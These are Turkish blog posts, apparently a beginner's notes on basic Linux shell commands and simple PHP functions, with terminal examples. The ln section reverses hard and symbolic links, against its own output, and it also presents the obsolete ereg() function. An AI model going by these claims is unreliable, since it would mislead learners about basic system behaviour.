<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # cat dosya2
hakan:2
ahmet:4
linux:6
centos:98
hakan paste # cut -d : -f 2 dosya2
2
4
6
98
</code></pre>
<br />
<b>short : </b>Dosya içerisindeki verileri sıralamak için kullanılır.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # cat yenidosya
2
6
3
9
1
hakan paste # cat yenidosya | sort
1
2
3
6
9
</code></pre>
<br />
Şimdi hepsini ortak kullanarak bir uygulama yapacaz. İçerisinde isimlerin olduğu bir dosyada hangi ismin kaç defa geçtiğini en az tekrar edenden en çok tekrar edene kadar sıralayalım.<br />
<br />
Komutunu kullanarak yaparız. <br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>cat ornek | sort | uniq -c | sort -n</code></pre>
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan paste # cat ornek
hakan
gazi
ahmet
linux
mint
metehan
hakan paste # cat ornek | sort | uniq -c | sort -n
1 gazi
1 hakan
1 metehan
1 mint
2 ahmet
3 linux
</code></pre>
<br />Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com1tag:blogger.com,1999:blog-6759262881280090719.post-72209129264125146702016-05-17T05:10:00.002-07:002016-05-17T06:07:58.943-07:00Linux cat, more, less, tac, rev, tail komutları Linux cat, more, tac, less, rev, tail dosya görüntüleme komutlarından kısa kısa bahsedeceğim.<br />
<br />
<b>cat : </b>Dosyaları görüntülemek için kullanılır.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan linuxlink # cat ornek2
merhaba
</code></pre>
<br />
cat -n parametresi ile kullanıldığında satır numarası vererek bilgileri bize verir.<br />
<br />
cat ornek2 >> ornek3 şeklinde kullanıldığında ornek2 dosyasının içeriğini ornek3'e ekler. Eğer ornek3 yoksa önce onu oluşturur. <br />
<br />
cat ornek2 > ornek3 şeklinde kullanıldığında ise ornek3 yoksa oluşturur. Varsa içeriğini temizleyip ornek2 nin içeriğini ekler.<br />
<br />
<b>more : </b>Dosyaları görüntülemek için kullanır. İçeriği fazla olan dosyalarda kullanılır ve bize bilgileri sayfa sayfa verir. "space" ile ilerlenir "b" tuşu ile geri gelinir. /arama şeklinde anahtar kelime araması yapılabilir.<br />
<br />
<b>less : </b>more komutuyla aynıdır. more komutundan farklı olarak yön tuşları kullanılarak arama yapabiliriz.<br />
<br />
<b>tac : </b>cat'in tersi olarak bilgileri bize sondan itibaren verir.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan linuxlink # tac ornek3
merhaba 3
merhaba2
merhaba1
merhaba
</code></pre>
<br />
<b>rev : </b>Satırları kendi içerisinde ters çevirerek bize verir. içeriği merhaba olan dosyayı "abharem" olarak bize verdi.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan linuxlink # rev ornek3
abahrem
</code></pre>
<br />
<b>tail -n </b>: -n parametresi ile kullanıldıgında vereceğimiz rakama göre sondan itibaren başlayarak dosya hakkında bilgi verir. <br />
<br />
Son iki satırı bize götürdü.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan linuxlink # tail -n 2 ornek3
merhaba2
merhaba 3
</code></pre>
<br />
<b>tail -f </b>: Daha çok log dosyaları okumak için kullanılır.<br />
<br />
örnek olarak tail -f /var/log/maillog | grep hakan : maillog dosyasında hakan geçen log düştükce ekrana basar. Ben centosda denemediğim için maillog adında bir dizin yok bu yüzden çıktı gösteremeyeceğim.Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-25049983459728264472016-05-16T08:30:00.001-07:002016-05-16T08:30:27.563-07:00Linux ln, ln-s komutlarıLinux'ta ln, ln-s komutlarından bahsedeceğim.<br />
<br />
<b>ln : </b>Dosya bağlantıları oluşturmak için kullanılır. Parametresiz kullanıldığında Symbolic ( soft ) link oluşturulur. <b>ln-s </b>şeklinde kullanıldığında ise hardlink oluşturur.<br />
<br />
Örnek : Burada ;<br />
-linuxlink adındaki dizine dosya1 dosyası oluşturduk.<br />
-echo ile içine deneme yazdırdık.<br />
-cat ile içine baktık.<br />
-ln -s kullanarak dosya1softlink adında dosya oluşturduk.<br />
-ln kullanarak dosya1hardlink adında dosya oluşturduk ve bunları ll ile gördük.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan linuxlink # touch dosya1
hakan linuxlink # echo "deneme" > dosya1
hakan linuxlink # cat dosya1
deneme
hakan linuxlink # ln -s dosya1 dosya1softlink
hakan linuxlink # ll
total 12
drwxr-xr-x 2 root root 4096 May 16 18:13 ./
drwxr-xr-x 4 hakan hakan 4096 May 16 18:12 ../
-rw-r--r-- 1 root root 7 May 16 18:13 dosya1
lrwxrwxrwx 1 root root 6 May 16 18:13 dosya1softlink -> dosya1
hakan linuxlink # ln dosya1 dosya1hardlink
hakan linuxlink # ll
total 16
drwxr-xr-x 2 root root 4096 May 16 18:13 ./
drwxr-xr-x 4 hakan hakan 4096 May 16 18:12 ../
-rw-r--r-- 2 root root 7 May 16 18:13 dosya1
-rw-r--r-- 2 root root 7 May 16 18:13 dosya1hardlink
lrwxrwxrwx 1 root root 6 May 16 18:13 dosya1softlink -> dosya1
</code></pre>
<br />
<b>Softlink </b>ve <b>Hardlink </b>arasındaki fark ?<br />
<br />
Soft link oluşturduğumuz dosyanın orjinal dosyasını sildiğimizde softlink kullanılamaz. Ama hardlink kullanılır.<br />
<br />
Örnek :<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan linuxlink # rm -f dosya1
hakan linuxlink # ll
total 12
drwxr-xr-x 2 root root 4096 May 16 18:17 ./
drwxr-xr-x 4 hakan hakan 4096 May 16 18:12 ../
-rw-r--r-- 1 root root 7 May 16 18:13 dosya1hardlink
lrwxrwxrwx 1 root root 6 May 16 18:13 dosya1softlink -> dosya1
hakan linuxlink # cat dosya1hardlink
deneme
hakan linuxlink # cat dosya1softlink
cat: dosya1softlink: No such file or directory
</code></pre>
<br />
Gördüğünüz gibi softlinkten dosyayı açmak istediğimizde açamadık.<br />
<br />
Aralarındaki farkın görselleştirmiş halleride aşağıdaki gibidir.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyAaupqS_R5pk9WBwjN9xSE6RUlIX4iohMGihyphenhyphen2XZOBX0fZ-ZZB_N_qVppBHFSfm1eZnEzrCMCzTRNA73Lhtkju7Z_IwgAu_Q6vUjg7_aotwFk2PWQ1JCReDdo9c4iySHbrVKUrscFRxw2/s1600/hardlinkhakanerensan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyAaupqS_R5pk9WBwjN9xSE6RUlIX4iohMGihyphenhyphen2XZOBX0fZ-ZZB_N_qVppBHFSfm1eZnEzrCMCzTRNA73Lhtkju7Z_IwgAu_Q6vUjg7_aotwFk2PWQ1JCReDdo9c4iySHbrVKUrscFRxw2/s320/hardlinkhakanerensan.png" width="293" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRgFi_PFiiejl_Jsr8T9RZ__lbsXiSEGZouiUnPK6MkvZPXY0vrcqmC9iou0FOakqGYBA39WbL5izeIgXajD9M0rAxgJO3jkDKTIeg7AckrKsngpRfGpFyoFJ3klqCfn_AvBjP3W8Cj2bK/s1600/softlinkhakanerensan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRgFi_PFiiejl_Jsr8T9RZ__lbsXiSEGZouiUnPK6MkvZPXY0vrcqmC9iou0FOakqGYBA39WbL5izeIgXajD9M0rAxgJO3jkDKTIeg7AckrKsngpRfGpFyoFJ3klqCfn_AvBjP3W8Cj2bK/s320/softlinkhakanerensan.png" width="293" /></a></div>
<br />
Bir dosyanın kaç tane hardlinke sahip olduğunuda <b>stat </b>komutuyla görebiliriz.<br />
<br />
Örnek : stat ile dosyanın kaç tane hardlink bağlantısı olduğunu göreceğiz.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan linuxlink # touch ornek2
hakan linuxlink # ln ornek2 ornek2hardlink1
hakan linuxlink # ln ornek2 ornek2hardlink2
hakan linuxlink # ll
total 12
drwxr-xr-x 2 root root 4096 May 16 18:24 ./
drwxr-xr-x 4 hakan hakan 4096 May 16 18:12 ../
-rw-r--r-- 1 root root 7 May 16 18:13 dosya1hardlink
lrwxrwxrwx 1 root root 6 May 16 18:13 dosya1softlink -> dosya1
-rw-r--r-- 3 root root 0 May 16 18:24 ornek2
-rw-r--r-- 3 root root 0 May 16 18:24 ornek2hardlink1
-rw-r--r-- 3 root root 0 May 16 18:24 ornek2hardlink2
hakan linuxlink # stat ornek2
File: ‘ornek2’
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 802h/2050d Inode: 4328590 Links: 3
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2016-05-16 18:24:31.151731102 +0300
Modify: 2016-05-16 18:24:31.151731102 +0300
Change: 2016-05-16 18:24:46.027731500 +0300
Birth: -
</code></pre>
<br />
<b>inode</b> numaraları hardlinklerin hiçbirinde değişmez. Buda zaten yukarıdaki görsellerde anlatıldığı gibi dosyanın orjinali silinse dahi hardlinklerin çalışmasının sebebidir.Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-57821048608043768842016-05-15T19:17:00.001-07:002016-05-15T19:17:14.340-07:00Linux file, cd, pwd, touch, mkdir, ls, mv, cp, rmdir, rm komutlarıLinux'ta file, cd, pwd, touch, mkdir, ls, mv, cp, rmdir, rm komutlarından kısa kısa bahsedeceğim.<br />
<br />
<b>file : </b>Dosyalar hakkında bilgi almamızı sağlar. Kullanım şekli #file dosyaadi şeklindedir.<br />
<br />
Örnek : index.html dosyası hakkında bilgi almak istiyoruz<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan hakan # file index.html
index.html: HTML document, ASCII text
</code></pre>
<br />
file --help ile komutun hangi parametreleri aldığını görebilirsiniz ve daha detaylı işlem yapabilirsiniz.<br />
<br />
<b>cd : </b>( Change director ) Bulunduğumuz dizinden farklı dizine geçmeye yarar. Direkt olarak çalıştırdığımızda hangi dizindeysek kullanıcının ev dizinine geçiş yaparız.<br />
<br />
<b>cd .. : </b>Linux sistemleri ağaç yapısına sahiptir. Bu komutta bir üst dizine geçmeye yarar.<br />
<br />
Örnek : /home dizinine geçmek istiyoruz.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan hakan # cd /home/
hakan home # pwd
/home
</code></pre>
<br />
<b>pwd : </b>Bulunduğumuz dizinin ismini bize verir. Yukarıda /home dizinine geçiş yaptıktan sonra hangi dizinde olduğumuza bakmamız için pwd komutunu kullandık.<br />
<br />
<b>touch :</b> Boş dosya oluşturmaya yarar.<br />
<br />
Örnek : hakanerensan.blogspot adında bir dosya oluşturacağız.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan ~ # cd Desktop/
hakan Desktop # touch hakanerensan.blogspot
hakan Desktop # ls
hakanerensan.blogspot netbeans-8.1.desktop
hakan Desktop # file hakanerensan.blogspot
hakanerensan.blogspot: empty
hakan Desktop #
</code></pre>
<br />
cat komutu ile de dosyasının içeriğini görüntüleriz.<br />
<br />
<b>mkdir : </b>Klasör oluşturmak için kullanılır. Yeni bir dizin oluşturur.<br />
<br />
Örnek : ornek2 adında bir dosya oluşturacağız.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan home # mkdir /ornek2
hakan home # cd /ornek2/
hakan ornek2 # pwd
/ornek2
hakan ornek2 #
</code></pre>
<br />
<b>mkdir -p </b>/ornek1/ornek2 şeklinde kullanıldığında ise önce ornek1 daha sonra ornek2 dizini oluşturulur. -p parametresi koyulmazsa hata verir.<br />
<br />
<b>ls : </b>Bulunan dizindeki dosyaları sıralar.<br />
<br />
Örnek : Masaüstümüzdeki dosyaları sıralamak için ls /Desktop dediğimizde masaüstündeki dosyaları sıralar. Yukarıdaki touch örneğinde ls komutunu kullandık.<br />
<br />
<b>ls -l : </b>Şeklinde kullanıldığında dosya ve dizinlerin izin bilgileri ile verir.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan Desktop # ls -l
total 4
-rw-r--r-- 1 root root 0 May 16 04:46 hakanerensan.blogspot
-rwxr-xr-x 1 root root 267 Mar 22 10:51 netbeans-8.1.desktop
hakan Desktop #
</code></pre>
<br />
-rw-r--r-- gibi en baştaki değerler dosya hakkındaki izinler hakkındadır.<br />
<br />
<b>ls -1 : </b>ile kullanılırsa sadece isimleri ile liste şeklinde verir.<br />
<br />
<b>ls -a : </b>Bulunduğumuz dizindeki gizli dosya ve klasörleri görürüz<br />
<br />
<b>ls -al : </b>Tüm bilgileri gösterir. Alternatif olarak <b>ll '</b>de kullanılabilir.<br />
<br />
<b>mv :</b>Dosya ve dizinleri taşımaya yarar.<br />
<br />
Örnek : a isimli dosyayı /home dizinine taşımak için. mv a /home/ komutu kullanılır.<br />
<br />
mv a/* /home diye kullanırsak * işareti hepsi anlamına geldiği için a dosyası içindeki herşeyi /home dizinine taşır.<br />
<br />
mv komutu dosya ve dizin ismini değiştirmek içinde kullanabiliriz.<br />
<br />
Örnek : ornek.html ismindeki dosyayı ornek1.html ismiyle değiştiriyoruz.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # ls
hakan ornek.html
hakan eren # mv ornek.html ornek1.html
hakan eren # ls
hakan ornek1.html
hakan eren #
</code></pre>
<br />
<b>cp :</b> Kopyalama yapmaya yarar.<br />
<br />
Örnek : ornek1.html dosyasının aynısından ornek2.html diye bir dosya oluşturarak ornek1.html'in bir kopyasını oluşturduk.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # cp ornek1.html ornek2.html
hakan eren # ls
hakan ornek1.html ornek2.html
hakan eren #
</code></pre>
<br />
<b>cp -R </b>recursive olarak kopyalamaya yarar. Belirttiğimiz dizin altındaki tüm dosyaları kopyalar.<br />
<br />
<b>rmdir :</b> Boş dizinleri silmek için kullanırız.<br />
<br />
Örnek : önce ornek diye bir boş dosya oluşturuyoruz. Daha sonrasındada rmdir ornek ile siliyoruz. Dosya boş olmazsa hata verir. Aksi durumu rm ile mümkündür.<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan eren # mkdir ornek
hakan eren # ls
hakan ornek ornek1.html ornek2.html
hakan eren # rmdir ornek
hakan eren # ls
hakan ornek1.html ornek2.html
hakan eren #
</code></pre>
<br />
<b>rm : </b>Dosyayı silmeye yarar. Parametresiz kullanıldığında kod çalıştıktan sonra uyarı verir. <b>rm -f </b>şeklinde kullanıldığında uyarı vermeden direk olarak siler.<br />
<br />
<b>rm -ri </b>şeklinde r parametresi ile kullanırsak recursive olarak belirttiğimiz dizinin altındaki tüm dosyaları siler.Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-53543012992781032602016-05-15T16:44:00.002-07:002016-05-15T18:33:15.615-07:00Linux man, info, whatis, apropos, which, whereis komutlarıLinux'ta kullanılan yardımcı komutlardan bahsedeceğim.<br />
<br />
<br />
<b>man </b>: Bir komut hakkında bilgi almak istediğimizde kullanılır.<br />
<br />
Örnek olarak;<br />
<br />
<b>man ls </b>yazdığımızda bize ls hakkında bilgi verir.<br />
<br />
Komut satırına man ls yazdığımızda çıktı aşağıdaki gibi olacaktır.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>LS(1) User Commands LS(1)
NAME
ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]...
DESCRIPTION
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is speci‐
fied.
Mandatory arguments to long options are mandatory for short options
too.
-a, --all
do not ignore entries starting with .
-A, --almost-all
do not list implied . and ..
--author
Manual page ls(1) line 1 (press h for help or q to quit)
</code></pre>
<br />
man ile bir komut hakkında bilgi almak istediğimizde bazen oldukça uzun sonuçlar çıkabiliyor. Sonuçta herhangi bir kelime aramak için /description gibi anahtar kelime ile arama yapabilir.<br />
<br />
<b>info : </b>man ile aynı işi yapar tek farkı daha fazla bilgi vermesidir. Bir komut hakkında uzunca bilgi verir.<br />
<br />
Sonuçlar çok olduğu ve sayfada gereksiz yer kapladığı için örnek vermeyeceğim. Kullanımı man ile aynıdır.<br />
<br />
<b>whatis : </b>Kullanımı man ile aynıdır. Bir komutun yalnızca ilgili parametresi hakkında bilgi almak için kullanılır. man veya info kullanmak aradığınız komut hakkında uzun bilgi vereceği için whatis kullanmak hız açısından oldukça yarar sağlar.<br />
<br />
<b>apropos : </b>Aradığımız kelime ile ilgili bütün komutları listelemek için kullanılır. Bu komutu bende ilk başta pek anlamamıştım ama ekşisözlükte birisi şöyle tanımlamış "turkce unix versiyonlarina "aklimdabiseyvaramaneiseyarar" diye cevrilmesi olasi komut"<br />
<br />
Kullanımı şu ise $apropos <aranılan kelime> şeklindedir.<br />
<br />
Örnek : Ben system diye arattım system ile alakalı komutları listeledi. <br />
<br />
Not : Gereksiz yer kaplamaması için kodun büyük çoğunluğunu sildim. Yazdığınızda daha uzun bir çıktı verecektir.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan@hakan ~ $ apropos system
Git (3pm) - Perl interface to the Git version control system
UPower (7) - System-wide Power Management
_syscall (2) - invoking a system call without library support (OBSOLETE)
_sysctl (2) - read/write system parameters
acpi_available (1) - test whether ACPI subsystem is available
addgroup (8) - add a user or group to the system
addmntent (3) - get filesystem descriptor file entry
adduser (8) - add a user or group to the system
adjtime (3) - correct the time to synchronize the system clock
afs_syscall (2) - unimplemented system calls
apm_available (1) - test whether APM subsystem is available
AptPkg::System (3pm) - APT system abstraction class
arp (8) - manipulate the system ARP cache
atobm (1) - bitmap editor and converter utilities for the X Window...
attr (1) - extended attributes on XFS filesystem objects
autodie::exception::system (3pm) - Exceptions from autodying system().
bitmap (1) - bitmap editor and converter utilities for the X Window...
bmtoa (1) - bitmap editor and converter utilities for the X Window...
break (2) - unimplemented system calls
casper (7) - a hook for initramfs-tools to boot live systems.
chattr (1) - change file attributes on a Linux file system
cifs.idmap (8) - Userspace helper for mapping ids for Common Internet F...
cifs.upcall (8) - Userspace upcall helper for Common Internet File Syste...
closelog (3) - send messages to the system logger
config.guess (1) - guess the build system triplet
crypttab (5) - static information about encrypted filesystems
date (1) - print or set the system date and time
deb-systemd-helper (1p) - subset of systemctl for machines not running systemd
deb-systemd-invoke (1p) - wrapper around systemctl, respecting policy-rc.d
debugfs (8) - ext2/ext3/ext4 file system debugger
debugreiserfs (8) - The debugging tool for the ReiserFS filesystem.
delgroup (8) - remove a user or group from the system
deluser (8) - remove a user or group from the system
df (1) - report file system disk space usage
discrete (6x) - discrete map iterative function fractal systems.
dnsdomainname (1) - show the system's DNS domain name
domainname (1) - show or set the system's NIS/YP domain name
dosfsck (8) - check and repair MS-DOS filesystems
dosfslabel (8) - set or get MS-DOS filesystem label
dumpe2fs (8) - dump ext2/ext3/ext4 filesystem information
e2fsck (8) - check a Linux ext2/ext3/ext4 file system
</code></pre>
<br />
<b>which : </b>Parametre olarak verilen komutu path değişkende tanımlanan dizinlerin altında arar ve komutun çalıştırılabilir dosya konumunu gösterir.<br />
<br />
Komut satırına echo $PATH yazdığımızda kullanıcıya ait çalıştırılabilir dosyaların bulunduğu dizinlerin listesidir. <u>which </u>komutu ise path değişkeninde tanımlanan dizinlerin altında parametre olarak verilen komutu aramaya yarar.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan ~ # echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
</code></pre>
<br />
Örnek verecek olursak : which ls<br />
<br />
Bu komutu path değişkeninde tanımlı olan dizinlerin hepsinde arıyor. Komutun yolunu verir. yani komut /bin altında bulunur.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan@hakan ~ $ which ls
/bin/ls
</code></pre>
<br />
<b>whereis : </b>Komutun çalıştırılabilir dosya konumunu ve komutun kütüphane dosya yolunu gösterir.<br />
<br />
Örnek : whereis whoami yazdığımızda hem which komutunun vereceği çıktıyı hem de yardımcı kütüphaneyi verir.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>hakan@hakan ~ $ whereis whoami
whoami: /usr/bin/whoami /usr/bin/X11/whoami /usr/share/man/man1/whoami.1.gz
</code></pre>
<br />
Linux'ta çok fazla komut vardır. Bunların hepsini ezberlemek zor olacağı için bu yardım komutlarının bize çok faydası olacaktır.<br />
<br />
Faydalı olması dileğiyle...Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-63304209825985892692016-05-12T11:25:00.000-07:002016-05-12T11:25:56.654-07:00Php ereg() ve eregi() fonksiyonları nedir ?Php'de düzenli değişkenler fonksiyonları olarak geçer.<br />
<br />
Bir düzenli ifadeyi eşleştirmeye yarar. <b>ereg() </b>ve <b>eregi() </b>fonksiyonları aynı işi yapar. Tek fark eregi() büyük küçük harfe duyarsız olarak çalışır.<br />
<br />
Kullanımı aşağıdaki şekildedir.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>if ( ereg("aranacak kelime","aranacagi yer","atanilacak dizin"))
</code></pre>
<br />
Basit bir örnek verecek olursak,<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
$site = "hakanerensan.blogspot.com";
if (ereg("hakanerensan.blogspot.com", $site , $deger))
{
echo "Böyle bir site var";
echo "Site adi :".$deger[0];
}
else
{
echo "Böyle bir site bulunamadı.";
}
?>
</code></pre>
<br />
Burada kodun çıktısı ;
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>
Böyle bir site var
Site adi : hakanerensan.blogspot.com
</code></pre>
<br />
şeklinde olacaktır.Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-79065754628204416012016-05-11T17:41:00.001-07:002016-05-11T17:41:23.309-07:00Php Mysqli_real_escape_string Fonksiyonu nedir ?<b>Mysqli_real_escape</b> php dilinde güvenlik amaçlı kullanılan fonksiyonlardan biridir. <br />
<br />
Burada veritabanina kullanici kaydetme senaryosu düşünelim. Ad soyad ve yaş soralım. Bu üç değişkeni filtreden geçirmemiz gerekir. Burada bu üç değişkeni yazarak özel karakterler çalıştırılması engellenir.<br />
<br />
<br />
Aşağıdaki örnekte ;<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>$yas = mysqli_real_escape_string($con, $_POST['yas']);
</code></pre>
<br />
yas degiskeni filtreden gecirilerek asagidaki sql ifadeye gönderilmiş. <br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
$con=mysqli_connect("localhost","my_user","my_password","my_db");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
$adi = mysqli_real_escape_string($con, $_POST['adi']);
$soyadi = mysqli_real_escape_string($con, $_POST['soyadi']);
$yas = mysqli_real_escape_string($con, $_POST['yas']);
$sql="INSERT INTO Persons (FirstName, LastName, Age)
VALUES ('$adi', '$soyadi', '$yas')";
if (!mysqli_query($con,$sql)) {
die('Error: ' . mysqli_error($con));
}
echo "1 kayit eklendi";
mysqli_close($con);
?>
</code></pre>
<br />
<br />
<b></b><br />Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-80447385307413069052016-05-11T17:37:00.000-07:002016-05-15T18:31:05.740-07:00Php define nedir ? Define php'de bir sabit tanımlamaya yarar. İki tane parametre alır.<br />
define ( "sabit adı ", "sabit değeri" ) şeklinde kullanılır. Sabit değişken tanımlandığında sonrasında değiştirilemez.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
define('site', 'hakanerensan.blogspot.com');
?>
</code></pre>
<br />
Burada echo site; diye bir komut yazarsak hakanerensan.blogspot.com çıktısını verir.<br />
<br />
Sabit değişkenin diğer değişkenlerden farkı değiştirilememesidir.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
$hakan = "hakan";
$hakan = "eren";
echo $hakan;
?>
</code></pre>
<br />
